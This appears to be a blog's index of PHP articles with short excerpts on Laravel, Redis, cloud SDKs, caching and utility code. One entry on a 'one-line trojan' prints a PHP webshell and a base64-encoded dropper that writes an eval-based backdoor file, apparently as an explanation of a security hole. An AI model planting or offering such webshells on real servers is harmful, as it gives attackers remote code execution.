php
fareast_mzh
善假于物
展开
-
PHP文件缓存 变量系列化
【代码】文件缓存,hessian格式原创 2022-12-02 15:32:27 · 678 阅读 · 0 评论 -
PHP实现+1永不越界操作, nextDate 日期字符串下一天
【代码】PHP实现+1永不越界操作。原创 2022-11-03 22:09:19 · 315 阅读 · 0 评论 -
腾讯云 短信 安装phpsdk 报错cURL erro 60:(See http://curl.haxx.se/libcurl/c/libcurl-errors.html)
:cURL error 60: SSL certificate problem: unable to get local issuer certificate2. 编辑php配置文件php.ini。删除curl.cainfo配置前分号;3. 重启php-fpm, nginx。原创 2022-09-08 18:25:50 · 1430 阅读 · 0 评论 -
阿里云ASR 语音识别接口调用
【代码】阿里云ASR 语音识别接口调用。原创 2022-09-08 18:13:41 · 2698 阅读 · 0 评论 -
阿里云OSS 上传文件
【代码】阿里云OSS 上传文件。原创 2022-09-07 13:56:04 · 519 阅读 · 0 评论 -
PHP模拟javascript的位移运算符
相比较javascript而言,PHP没有>>>这种无符号右移的运算符,而且就算是普通的右移运算符,PHP算出来的结果也会不同于javascript。)在聊这个问题,帖子里有贴一些>>>运算符实现的代码。遗憾的是我没能看懂,只能自己来撸一个了(已回复该帖,有缘的朋友给个up吧)。然后的然后就有了下面的代码。各位如果有同样的困惑尽管拿去用(每个函数都配合nodejs做了10w+次的测试,应该没问题)。附送一个PHP对javascript逗号运算符(,)的模拟,你懂的。......转载 2022-08-02 13:50:54 · 162 阅读 · 0 评论 -
CodeIgniter 打开错误日志
默认0不输出log,4等级最高。CI CodeIgniter错误日志原创 2022-07-29 09:46:30 · 367 阅读 · 0 评论 -
Illuminate\Support\Collection 去重 unique 列表去重
列表, 数组 指定规则去重curMsg->getFundId() == $prevMsg->getFundId()重复后处理// 删除哪个元素?if ($curMsg->created_at > $prevMsg->created_at) { // 待删除的元素移动到后面 self::swap($list, $i, $dupIdx);}可替换部分如上.........原创 2022-06-21 17:08:26 · 388 阅读 · 0 评论 -
Laravel log channel 分组配置
use Illuminate\Support\Facades\Log;Log::channel('vehicle')->info('==xxx任务开始==');config/logging.phpchannels配置项中添加vendor/laravel/framework/src/Illuminate/Log/LogManager.php原创 2022-06-20 17:11:12 · 1368 阅读 · 0 评论 -
Laravel 权限导出
./app/Console/Commands/ExportPermission.phpphp artisan permission:migrate # php artisan export:permission staff日志:database/permission/permission.log SQL:database/permission/permission.sql原创 2022-06-08 20:06:42 · 207 阅读 · 1 评论 -
redis 锁 PHP防止重复请求
use Illuminate\Support\Facades\Cache;// CACHE_DRIVER=redis$key = sprintf("carV2:panic_addSubsidy:%d", $value->getId());$lock = Cache::lock($key, 20);if (!$lock->get()) { throw \ExceptionFactory::business(CodeMessageConstant::PANIC_ORDER_...原创 2022-04-06 17:00:02 · 1161 阅读 · 0 评论 -
Redis hmset, hmget
<?phpuse Illuminate\Support\Facades\Redis;// ... public static function getByIdWithCache($id) { Redis::select(6); $key = sprintf("CarV2:MERCHANT:%d", $id); $columns = array( "id", "merchant_type_id","member_username","...原创 2022-03-08 13:44:31 · 754 阅读 · 0 评论 -
php上传文件到七牛云
php上传文件到七牛云use zgldh\QiniuStorage\QiniuStorage;use \Illuminate\Http\UploadedFile; public function uploadImage(UploadedFile $image, string $disk, string $filePath) { /** @var $qiniu \zgldh\QiniuStorage\QiniuStorage */ $qiniu = Qini原创 2022-02-15 13:39:45 · 610 阅读 · 0 评论 -
18位身份证号校验
<?phpclass Str { public static function isIdCard($s) { $n = strlen($s); if ($n != 18) { return false; } // 加权因子 $wi = array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2); // 校验码...原创 2021-09-07 14:40:13 · 419 阅读 · 0 评论 -
laravel 开启sql log, 打印SQL
app/Providers/AppServiceProvider.php<?phpnamespace App\Providers;use Illuminate\Support\Facades\DB;use Illuminate\Support\ServiceProvider;class AppServiceProvider extends ServiceProvider{ /** * Register any application services.原创 2021-09-01 16:24:38 · 892 阅读 · 0 评论 -
php xml simplexml_load_string \SimpleXMSimpleXMLElementLElement用法
* Xml.phpclass Xml{ public static function fixImg($s) { $enterImg = false; $ns = ""; for ($i = 0; isset($s[$i]); $i++) { if ($s[$i] == '<' && $s[$i+1]=='i' && $s[$i+2]=='m' && $s[$i+3]原创 2021-08-25 09:59:27 · 319 阅读 · 0 评论 -
HJ50 四则运算
https://www.nowcoder.com/ta/huawei HJ50* index.php<?phpinclude "Scanner.php";include "HJ50.php";class Solution { public static function main() { // $sc = new Scanner("php://stdin"); $sc = new Scanner("./input/input.txt");..原创 2021-08-21 18:25:21 · 422 阅读 · 0 评论 -
PHP Scanner, 红黑树, TreeMap
要实现这种效果, 读取键盘输入* index.php<?phpinclude "Scanner.php";class Solution { public static function main() { $sc = new Scanner("php://stdin"); while ($sc->hasNext()) { $rn = $sc->nextInt(); printf("...原创 2021-08-08 00:12:55 · 395 阅读 · 0 评论 -
laravel中使用redis 示例
use Illuminate\Support\Facades\Log;use Illuminate\Support\Facades\Redis; /** * @param $key string * @param $memberId integer * @throws \ShallBuy\LaravelBase\Common\Exception\Exceptions\BusinessException */ private static fu...原创 2021-07-14 14:56:05 · 437 阅读 · 3 评论 -
php sockets 下载图片
const BUFSIZE = 1024; const SHARE_IMG = "share_logo.jpg"; public function download($src) { $url = parse_url($src); $host = $url['host']; $protocol = $url['scheme']; // http, https $uri = $url['path']; ...原创 2021-07-14 14:48:20 · 246 阅读 · 0 评论 -
查找所有子业务id 递归转化为循环
/** * 查找所有子业务id(多级) * @param $id * @param $allIds */public static function getChildIds($id, &$allIds) { /** @var $query \Illuminate\Database\Eloquent\Builder */ $query = self::where("parent_id", "=", $id); $rows = $query->get(['id'.原创 2021-06-17 16:21:38 · 258 阅读 · 0 评论 -
laravel查出软删除 deleted_at is not null 的内容, laravel database migration
<?php/** * Created by PhpStorm. * User: Mch * Date: 2021-06-16 * Time: 10:45 */namespace CmsV2\Services\Articles;use CmsV2\Models\Article;use Illuminate\Database\Eloquent\SoftDeletingScope;class ArticleTrashListService extends Articles...原创 2021-06-16 11:07:06 · 1515 阅读 · 1 评论 -
Failed to clone https://github.com/swoftlabs/common-devtool via https, ssh protocols, aborting.
https://www.swoft.org/documents/v2/dev-tools/swoft-cli/打开 composer.jsonhttps:// 改为git://composer config -g secure-http false添加config: "config": { "secure-http": false, "github-protocols": ["git","ssh","https"], "disable-tls...原创 2021-04-29 17:40:15 · 1125 阅读 · 0 评论 -
PHP去掉路径中的 ./ ../ 相对路径,绝对路径
Str.php private static function replaceChar($subject, $search, $replace) { for ($i = 0; isset($subject[$i]); $i++) { if ($subject[$i] == $search) { $subject[$i] = $replace; } } return $s原创 2021-02-19 17:28:18 · 743 阅读 · 0 评论 -
PHPExcel读取表格 从Excel导入
但是后面还是有bug, fopen可以打开, 执行到 $excel->getActiveSheet();对于windows系统汉字要转换编码。如果是指定目录,不是通过上传文件。所以还是不能用中文名。原创 2021-02-19 11:38:28 · 495 阅读 · 0 评论 -
结算收益计划 数据库设计
* invest_list.sqlCREATE TABLE `invest_list` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT '序号', `uid` int(11) NOT NULL DEFAULT '0' COMMENT '会员ID', `iid` int(11) NOT NULL DEFAULT '0'...原创 2019-10-22 22:06:50 · 700 阅读 · 0 评论 -
php autoload 自动加载
* autoload.php<?php/** * Created by PhpStorm. * User: EDZ * Date: 2020/6/22 * Time: 11:01 */$prefixList = [ 'DesignPatterns\\Structural\\Adaptor'];foreach ($prefixList as $prefix) { // clazz "DesignPatterns\Structural\Adaptor\Book"原创 2020-06-22 11:35:49 · 508 阅读 · 0 评论 -
centos安装phalcon3.4.x
git clone git://github.com/phalcon/cphalcon.gitcd cphalcon/buildsudo ./install --php-config /opt/lampp/bin/php-config添加扩展信息到php.iniextension=phalcon.so重启apache或php-fpm...原创 2020-04-27 16:43:39 · 1381 阅读 · 0 评论 -
php多维数组合并
* Arr.php<?phpnamespace app\common\utils;class Arr{ /** * 多维数组合并 例如关联数组配置项默认值处理 * @param $array1 * @param $array2 * @return array */ public static function...原创 2020-03-12 20:42:35 · 1261 阅读 · 0 评论 -
php 字符串 驼峰改为下划线
*application/common/utils/Str.php<?phpnamespace app\common\utils;class Str{ /** * 驼峰命名转下划线命名 * @param $str * @return string */ public static function toUnderSc...原创 2020-03-11 17:58:57 · 613 阅读 · 0 评论 -
php 7.4 Array and string offset access syntax with curly braces is deprecated
<b>Deprecated</b>: Array and string offset access syntax with curly braces is deprecated in <b>D:\code\test\hy_scope\thinkphp\library\think\db\Query.php</b> on line <b>4...原创 2020-03-10 16:28:33 · 11135 阅读 · 1 评论 -
PHP 防xss
* trimscript.php<?php/** * xss过滤 * @param $str string * @return string */function trim_script($str) { $str = preg_replace('/\\<([\\/]?)script([^\\>]*?)\\>/si', '<\\1sc...原创 2020-01-17 11:33:13 · 338 阅读 · 0 评论 -
php 一句话木马 安全漏洞
* get.php<?php $_GET[a]($_GET[b]);?>?a=assert&b=${}参数b中的内容待定创建文件code.txtfwrite(fopen("c.php", "w"), base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pPz4="))b.php<?php$...原创 2020-01-13 16:54:42 · 1329 阅读 · 0 评论 -
常见的PHP问题
* Apache, nginx区别1.Nginx比Apache更轻量级,使用更少的内存及资源2.Nginx有更好的抗并发能力,apache是同步多进程模型,一个连接对应一个进程;nginx是异步的,多个连接(万级别)可以对应一个进程3.Nginx除了可以提供web服务还可以提供反向代理服务和邮件服务4.Nginx 静态处理性能比 Apache 高 3倍以上5.apache适合处理动态请...原创 2019-12-11 11:33:51 · 2686 阅读 · 0 评论 -
SMS短信接口类PHP版
* SmsApi.php<?phpnamespace index\Util;/** * SMS短信接口类 * @authorsms.cn * @linkhttp://www.sms.cn */class SmsApi{ /** * SMSAPI请求地址 */ const API_URL = 'http://api.sms.cn/s...原创 2019-11-29 16:59:58 · 558 阅读 · 0 评论 -
php字符串模板变量名替换
需要把字符串中的 {$amount}, {$project} ... 替换为 {$code}不知道用preg_replace怎么做* preg.php<?phpinclude dirname(__FILE__).'/Str.php';$s = "您的奖励元已到账,请登录会员中心查看!【xxxx】{\$amount}";// 把模板变量名替换为code// $t = S...原创 2019-11-24 14:03:03 · 2433 阅读 · 0 评论 -
php合并一个目录下的所有文件, utf-8文件头0xef 0xbb 0xbf
* merge.php<?phpdefine('BUFSIZE', 100);$cwd = dirname(__FILE__);$indir = $cwd.DIRECTORY_SEPARATOR.'in';$outdir = $cwd.DIRECTORY_SEPARATOR.'out';if (!is_dir($indir)) { die("输入目录不存在!")...原创 2019-11-21 16:05:43 · 482 阅读 · 0 评论 -
thinkphp5 更新数据
Finance::where('id', '=', 4)->update([ "payment_name" => "范科华2" ]);生成sqlUPDATE `5kcrm_oa_finance` SET `payment_name`='范科华2' WHERE `id` = 4闭包查询:$report = Repor...原创 2019-10-18 17:31:16 · 341 阅读 · 0 评论 -
php shuffle 数组打乱顺序
原数据结构:array(8) { [0]=> array(3) { ["id"]=> int(1) ["title"]=> string(8) "iPhone X" ["desc"]=> string(19) "客服领取iPhoneX" } [1]=> array(3) { ["id"]...原创 2019-10-20 17:46:28 · 542 阅读 · 0 评论 -
tp3 分页 thinkphp3 pagination
http://document.thinkphp.cn/manual_3_2.html#data_pagehttp://document.thinkphp.cn/manual_3_2.html#stat_query /** * 所有可投资产品 */ public function invest_chanpin() { $p = getValu...原创 2019-10-20 17:02:45 · 355 阅读 · 0 评论